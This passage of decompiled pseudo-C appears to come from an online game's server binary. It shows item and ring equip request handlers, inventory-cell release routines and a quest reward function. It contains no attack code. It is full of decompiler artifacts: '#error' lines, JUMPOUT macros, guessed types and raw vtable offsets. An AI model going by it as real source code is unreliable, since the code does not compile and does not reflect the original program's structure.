!= 16 && v23 ) { switch ( v18 ) { case 10: v24 = 11; v25 = 13; break; case 11: v24 = 10; v25 = 12; break; case 12: v24 = 13; v25 = 11; break; case 13: v24 = 12; v25 = 10; break; default: v24 = 0; v25 = 0; break; } insertslot = 0; do { if ( !v24 || !v25 ) break; v26 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32200, v24); if ( !v26 || (v27 = *(_WORD *)(v26 + 8), v27 == -1) ) { v28 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32200, v25); if ( !v28 ) break; v27 = *(_WORD *)(v28 + 8); if ( v27 == -1 ) break; } v29 = ItemDataBox::operator__(&itemdatabox, v27); if ( !v29 ) break; v30 = v29->data; if ( !v30 ) break; v31 = v30->WeaponType; if ( v31 != 16 && v31 && *(_DWORD *)((char *)invchr + 219) != v31 ) goto LABEL_29; v33 = __OFSUB__(insertslot + 1, 1); v32 = insertslot++ < 0; } while ( v32 ^ v33 ); if ( invcell == 11 || invcell == 13 ) { if ( invcell == 11 ) v34 = 10; else v34 = invcell == 13 ? 12 : (_DWORD)uii.uii_Iterator; v35 = (**(int (__thiscall ***)(_DWORD, _DWORD))v11)(v6 + 32200, v34); if ( !v35 || *(_WORD *)(v35 + 8) == -1 ) (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 2716))(v6); } } equslot = 0; EquipEnumChanger::eec_ConflictWithNewEquip( &equipman, invequ, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &equslot, (ItemBag *)(v6 + 32200), (InventoryLocking::InventoryCellLockList *)(v6 + 57768)); v36 = (void *)invcell; EquipEnumChanger::eec_ConflictWithOldEquip( &equipman, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &equslot, (ItemBag *)(v6 + 32200), invcell, (InventoryLocking::InventoryCellLockList *)(v6 + 57768)); v37 = (ItemBoxIteratorVtbl *)(**(int (__thiscall ***)(int, void *))v11)(v6 + 32200, v36); v38 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = a6; v39 = *(_DWORD *)v6; v40 = v37; ibie.baseclass_0.vfptr = v37; *((_DWORD *)v38 + 1) = (*(int (__thiscall **)(int))(v39 + 836))(v6); *(_WORD *)v38 = 13328; v41 = equslot; LOWORD(v11) = *(_WORD *)(v6 + 57772); if ( equslot > 0 ) { ItemBoxIterEmpty::ItemBoxIterEmpty( (ItemBoxIterEmpty *)((char *)&ibie + 4), (ItemBag *)(v6 + 35568), (ChargedEffectContainer *)(v6 + 91688)); uii.uii_LockList = (InventoryLocking::InventoryCellLock *)&ibie.baseclass_0.ibi_itembag; LOBYTE(v79) = 1; uii.uii_InvenType = v6 + 57768; insertcell = 9; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_89; } v41 = equslot; invequ = 0; if ( equslot > 0 ) { v42 = (int)(v38 + 39); while ( 1 ) { v43 = (void *)(*(int (__stdcall **)(InventoryLocking::InventoryCellLockVtbl *))**(int (__stdcall ****)(_DWORD))&uii.uii_LockList->icl_Index)(uii.uii_LockList[1].vfptr); v44 = uii.uii_LockList[1].vfptr; equcell = v43; invchr = v44; v45 = (*(int (__stdcall **)(int))(*(_DWORD *)(v6 + 35568) + 4))(v6 + 91688); if ( (signed int)invchr >= v45 ) break; v46 = *(_DWORD *)(v6 + 57768); LOWORD(excellnum) = (unsigned __int16)invchr & 0x3FF | 0x2400; LOWORD(insertslot) = (unsigned int)excell[(_DWORD)invequ].ec_EquipCell & 0x3FF | 0x2000; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(v46 + 12))(v6 + 57768, 8, v64) ) { (*(void (__thiscall **)(int, int))(*(_DWORD *)(v6 + 57768) + 32))(v6 + 57768, v11); goto LABEL_81; } v47 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, void *, int, int *, int *))(*(_DWORD *)v47 + 48))( v47, v11, equcell, excell[(signed int)invequ + 1].ec_EquipSlot, &excellnum, &insertslot); v48 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, int *, int *))(*(_DWORD *)v48 + 40))( v48, v11, excell[(signed int)invequ + 1].ec_EquipSlot, &insertslot, &excellnum); v49 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, int, signed int, _DWORD))(*(_DWORD *)v49 + 64))( v49, v11, insertslot & 0x3FF, excell[(signed int)invequ + 1].ec_EquipSlot, -1, 0); v50 = excell[(signed int)invequ + 1].ec_EquipSlot; *(_DWORD *)(v42 - 8) = *(_DWORD *)v50; v51 = *(_DWORD *)(v50 + 4); LOBYTE(v50) = (_BYTE)invchr; *(_DWORD *)(v42 - 4) = v51; *(_BYTE *)v42 = v50; v52 = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)((char *)&uii + 4)) == 0; v41 = equslot; if ( v52 ) { if ( (signed int)((char *)&invequ->ID + 1) < equslot ) break; } v42 += 9; invequ = (ItemInfoServer *)((char *)invequ + 1); if ( (signed int)invequ >= equslot ) { v40 = ibie.baseclass_0.vfptr; goto LABEL_76; } } (*(void (__thiscall **)(int, int))(*(_DWORD *)(v6 + 57768) + 32))(v6 + 57768, v11); LABEL_81: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v6 + 776))(v6, 12); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_89; } LABEL_76: LOBYTE(v79) = 0; ibie.baseclass_0.ibi_itembag = (ItemBag *)ItemBoxIterator::_vftable_; } v53 = invcell; v38[30] = v41; v54 = mainslot; *((_WORD *)v38 + 8) = v53 & 0x3FF | 0x2000; *((_DWORD *)v38 + 2) = *(_DWORD *)v54; *((_DWORD *)v38 + 3) = *(_DWORD *)(v54 + 4); *((_WORD *)v38 + 13) = (unsigned __int16)uii.uii_Iterator & 0x3FF | 0x2400; if ( LOWORD(v40[2].ibi_isvalid) == -1 ) { *(_DWORD *)(v38 + 22) = -1; *(_DWORD *)(v38 + 18) = -1; } else { *(_DWORD *)(v38 + 18) = v40->ibi_isvalid; *(_DWORD *)(v38 + 22) = v40[1].ibi_isvalid; } v55 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); v56 = *(_DWORD *)v55; _.fe_FunctionCode = v38 + 26; (*(void (__thiscall **)(int))(v56 + 48))(v55); v57 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, ItemEquipEnum, ItemBoxIteratorVtbl *, char *, char *))(*(_DWORD *)v57 + 48))( v57, v11, invcell, v40, v38 + 26, v38 + 16); v58 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, int, int, ItemBoxIteratorVtbl *, signed int, _DWORD))(*(_DWORD *)v58 + 64))( v58, v11, equslot, v40, -1, 0); v59 = 9 * (unsigned __int8)v38[30] + 31; v60 = 9 * (unsigned __int8)v38[30] + 31; *((_WORD *)v38 + 14) = v11; v61 = ProtocolPacket::pp_SetPacketLen(&gpp, v60); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v61, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", v59) ) { v62 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v62); } *(_BYTE *)(v6 + 66044) = 1; if ( LOWORD(v40[2].ibi_isvalid) != -1 ) { v63 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(invcell + 8))->data; if ( ItemDataBox::operator__(&itemdatabox, LOWORD(v40[2].ibi_isvalid))->data->AutoMon == 1 ) { if ( !v63->AutoMon ) ShineObjectClass::ShinePlayer::sp_SetAutoPick(v6, 0); } } goto LABEL_89; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); LABEL_89: v78 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 4DA6C0: could not find valid save-restore pair for ebp // 5010D0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (004DAFD0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equcell, int handle, __int16 a6) { int v6; // esi@1 int v7; // edx@6 int v8; // edi@6 int v9; // eax@9 int v10; // ecx@11 int v11; // edx@19 int v12; // ST30_4@19 int v13; // ebp@19 ItemInfo *v14; // edi@20 ItemInfoServer *v15; // ebx@20 ItemEquipEnum v16; // eax@26 int v17; // eax@30 int v18; // ebx@34 int v19; // eax@38 char *v20; // edi@42 char *v21; // ebx@42 char v22; // al@45 ZoneBaseSession *v23; // eax@46 int v24; // edi@47 __int16 v25; // ax@47 int v26; // edx@47 int v27; // edi@47 int v28; // eax@47 int v29; // eax@47 FunctionEntarance _; // [sp+40h] [bp-14h]@1 int invslot; // [sp+44h] [bp-10h]@6 int v32; // [sp+48h] [bp-Ch]@6 int v33; // [sp+50h] [bp-4h]@1 int equcella; // [sp+5Ch] [bp+8h]@36 v6 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; if ( !(_S6_65 & 1) ) { _S6_65 |= 1u; cmc_62.cmc_AllowMode = 70; atexit(_E7_47); } if ( !((1 << **(_BYTE **)(v6 + 3716)) & cmc_62.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 57768) + 16))(v6 + 57768) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17, 642); --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } v7 = *(_DWORD *)(v6 + 35568); v8 = *(_BYTE *)(netcmd + 2); invslot = *(_BYTE *)(netcmd + 2); if ( v32 >= (*(int (__thiscall **)(int, int))(v7 + 8))(v6 + 35568, a2) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong slot", v8); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); LABEL_8: --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } LOBYTE(v9) = *(_BYTE *)(netcmd + 3); v10 = (_BYTE)v9 == 15 || (_BYTE)v9 == 16; v9 = (unsigned __int8)v9; if ( !v10 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong equip", v9); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_8; } if ( *(_BYTE *)(v6 + 66044) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v6 + 57768) + 12))( v6 + 57768, 9, v32) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v6 + 2712))(v6); v11 = *(_DWORD *)(v6 + 35568); v12 = *(_BYTE *)(netcmd + 2); v32 = *(_BYTE *)(netcmd + 2); v13 = (*(int (__thiscall **)(int, int))v11)(v6 + 35568, v12); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8)) ) { v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8))->data; v15 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v13 + 8))->dataserv; if ( AssertClass::operator__( &shineassert, v14 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_48; } if ( !((1 << (((unsigned int)*(_BYTE *)(v6 + 32155) >> 2) & 0x1F)) & v14->WhoEquip) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_48; } if ( v14->DemandLv > (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1220))(v6) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_48; } v16 = EquipEnumChanger::eec_EquipLocation(&equipman, v15, (ItemBag *)(v6 + 32200)); if ( v16 ) { v17 = v16 == 15 || v16 == 16; if ( AssertClass::operator__( &shineassert, v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip Not Ring", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { v18 = *(_BYTE *)(equcell + 3); if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)(v6 + 57768) + 12))( v6 + 57768, 8, *(_BYTE *)(equcell + 3)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { equcella = (**(int (__thiscall ***)(_DWORD, _DWORD))(v6 + 32200))(v6 + 32200, v18); v19 = !v14->Type && v18 < (*(int (__thiscall **)(int))(*(_DWORD *)(v6 + 32200) + 8))(v6 + 32200); if ( AssertClass::operator__( &shineassert, v19, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip invalid item", *(_WORD *)(v13 + 8)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } else { v20 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = a6; *((_DWORD *)v20 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); *(_WORD *)v20 = 13328; *((_WORD *)v20 + 8) = v18 & 0x3FF | 0x2000; *((_DWORD *)v20 + 2) = *(_DWORD *)v13; *((_DWORD *)v20 + 3) = *(_DWORD *)(v13 + 4); *((_WORD *)v20 + 14) = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6) + 4); v21 = v20 + 26; *((_WORD *)v20 + 13) = v32 & 0x3FF | 0x2400; if ( *(_WORD *)(equcella + 8) == -1 ) { *(_DWORD *)(v20 + 22) = -1; *(_DWORD *)(v20 + 18) = -1; } else { *(_DWORD *)(v20 + 18) = *(_DWORD *)equcella; *(_DWORD *)(v20 + 22) = *(_DWORD *)(equcella + 4); } v20[30] = 0; v22 = ProtocolPacket::pp_SetPacketLen(&gpp, 31); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v22, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", 31) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v23); } v24 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1916))(v6); v25 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6) + 4); v26 = *(_DWORD *)v24; _.fe_FunctionCode = v21; (*(void (__thiscall **)(int))(v26 + 48))(v24); v27 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); v28 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); (*(void (__thiscall **)(int, _DWORD, int, int, char *, int))(*(_DWORD *)v27 + 48))( v27, *(_WORD *)(v28 + 4), v13, netcmd, v21, handle); v29 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1916))(v6); ++*(_WORD *)(v29 + 4); *(_BYTE *)(v6 + 66044) = 1; } } } goto LABEL_48; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); goto LABEL_48; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v6 + 776))(v6, 12, 17); } LABEL_48: v33 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 4DAFD0: could not find valid save-restore pair for ebp //----- (004DB530) -------------------------------------------------------- #error "4DB530: undefined or illegal type '#331' (funcsize=107)" //----- (004DB6C0) -------------------------------------------------------- #error "4DB6C0: undefined or illegal type '#331' (funcsize=71)" //----- (004DB7C0) -------------------------------------------------------- void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this) { BitSet::BitSet(&this->baseclass_0, 8); } //----- (004DB7E0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5BC750: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004DB800) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x78u); return 1; } // 4DB816: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004DB840) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004DB890) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004DB8E0) -------------------------------------------------------- char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle) { ((void (__stdcall *)(_DWORD))this->le_list->vfptr->l_Free)(handle); return 1; } //----- (004DB900) -------------------------------------------------------- void __thiscall ItemOperateList::_ItemOperateList(int this) { int v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = List::_vftable_; _eh_vector_destructor_iterator_( (void *)(this + 24), 0x78u, 40, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = *(void **)(v1 + 8); if ( v2 ) operator delete__(v2); } // 5BC750: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004DB970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x5000; if ( !*(_DWORD *)(lc + 16) ) { *((_WORD *)v2 + 16046) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *((_WORD *)v2 + 16046); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC03 | 3; } if ( *(_DWORD *)(lc + 16) == 1 ) { *((_WORD *)v2 + 16047) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *((_WORD *)v2 + 16047); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC04 | 4; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_soulstonebox : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); } //----- (004DBAC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc) { void *v2; // esi@1 char v3; // ST04_1@2 char v4; // ST00_1@2 CCharacterTitleZone *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GainExp(v2, *(_DWORD *)(lc + 16), -1, -1); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 32))(v2, *(_DWORD *)(lc + 20)); if ( *(_BYTE *)(lc + 24) ) { v3 = *(_BYTE *)(lc + 25); v4 = *(_BYTE *)(lc + 24); v5 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1036))(v2); CCharacterTitleZone::SetTitleStatus(v5, v4, v3, ELEMENT_USABLE); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); } //----- (004DBBA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr) { void *v2; // esi@1 int v3; // ebp@1 unsigned int v4; // eax@1 char *v5; // eax@1 int v6; // edx@1 int v7; // ebx@7 unsigned int v8; // eax@8 char *v9; // eax@8 int v10; // ecx@8 ShineReward *v11; // eax@9 ShineReward *v12; // edi@9 int v13; // eax@11 char v14; // al@11 char *v15; // edi@16 int v16; // ebp@16 int v17; // ecx@17 unsigned int v18; // eax@17 char *v19; // eax@17 ZoneBaseSession *v20; // eax@19 int v21; // edi@20 int v22; // eax@20 int v23; // edi@20 int v24; // eax@20 int v25; // eax@20 char *v26; // [sp+0h] [bp-420h]@5 signed int fame; // [sp+14h] [bp-40Ch]@7 int famea; // [sp+14h] [bp-40Ch]@16 int cen; // [sp+18h] [bp-408h]@3 int exp; // [sp+1Ch] [bp-404h]@3 TreasureChestMaker itemmaker; // [sp+24h] [bp-3FCh]@3 unsigned int v32; // [sp+410h] [bp-10h]@6 int v33; // [sp+41Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)((char *)v2 + 32062); *((_DWORD *)v5 + 1) = *(_DWORD *)((char *)v2 + 32066); *((_DWORD *)v5 + 2) = *(_DWORD *)((char *)v2 + 32070); *((_DWORD *)v5 + 3) = *(_DWORD *)((char *)v2 + 32074); v5[16] = 0; v6 = *(_DWORD *)v2; v33 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1136))(v2) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 3 ) goto LABEL_5; exp = 0; cen = 0; TreasureChestMaker::TreasureChestMaker(&itemmaker, chest, 7, 0); LOBYTE(v33) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_5: v33 = -1; v26 = "ShineObjectClass::ShinePlayer::sp_KQReward"; goto LABEL_6; } v7 = rewardstr + 36; fame = 15; do { v8 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v8; v9 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v8]]; v10 = (*((_DWORD *)v9 + 8192) + 1) & *((_DWORD *)v9 + 8193); *((_DWORD *)v9 + 8192) = v10; if ( *(_WORD *)&v9[2 * v10] < *(_WORD *)(v7 + 30) ) { v11 = RewardData::rd_FindHandle(&rewarddata, *(_WORD *)v7); v12 = v11; if ( v11 ) { switch ( v11->RewardType ) { case 1: v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 40))(v13); TreasureChestMaker::tcm_ItemMake(&itemmaker, 7, v12, 1 << v14); break; case 2: exp += v11->Quantity; break; case 3: cen += v11->Quantity; break; case 4: v3 += v11->Quantity; break; default: break; } } } v7 += 2; --fame; } while ( fame ); v15 = gpp.pp_Buffer; famea = v3; v16 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)gpp.pp_Buffer + 36, 0, (TreasureChestLocationManager *)((char *)v2 + 89166), 2u); if ( v16 ) { *(_WORD *)v15 = 22549; *((_DWORD *)v15 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v15 + 7) = *((_WORD *)v2 + 2); *((_WORD *)v15 + 12) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2) + 4); *(_DWORD *)(v15 + 6) = cen; *(_DWORD *)(v15 + 2) = famea; *(_DWORD *)(v15 + 10) = 0; v17 = *(_DWORD *)((char *)v2 + 98); v18 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v18; v19 = (char *)&namestring + 256 * v18; *(_DWORD *)v19 = *(_DWORD *)v17; *((_DWORD *)v19 + 1) = *(_DWORD *)(v17 + 4); *((_DWORD *)v19 + 2) = *(_DWORD *)(v17 + 8); v19[12] = 0; *((_WORD *)v15 + 13) = BTree::operator__(&mapdatabox.mdb_btree, v19); *((_DWORD *)v15 + 7) = 0; *((_DWORD *)v15 + 8) = 0; *((_DWORD *)v15 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v16 + 37) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long", v16 + 37); } v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v21 + 56))( v21, *(_WORD *)(v22 + 4), cen, 0, 1); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD, int, signed int))(*(_DWORD *)v23 + 60))(v23, *(_WORD *)(v24 + 4), famea, 1); v25 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); ++*(_WORD *)(v25 + 4); ShineObjectClass::ShinePlayer::sp_GainExp(v2, exp, -1, -1); } LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v33 = -1; v26 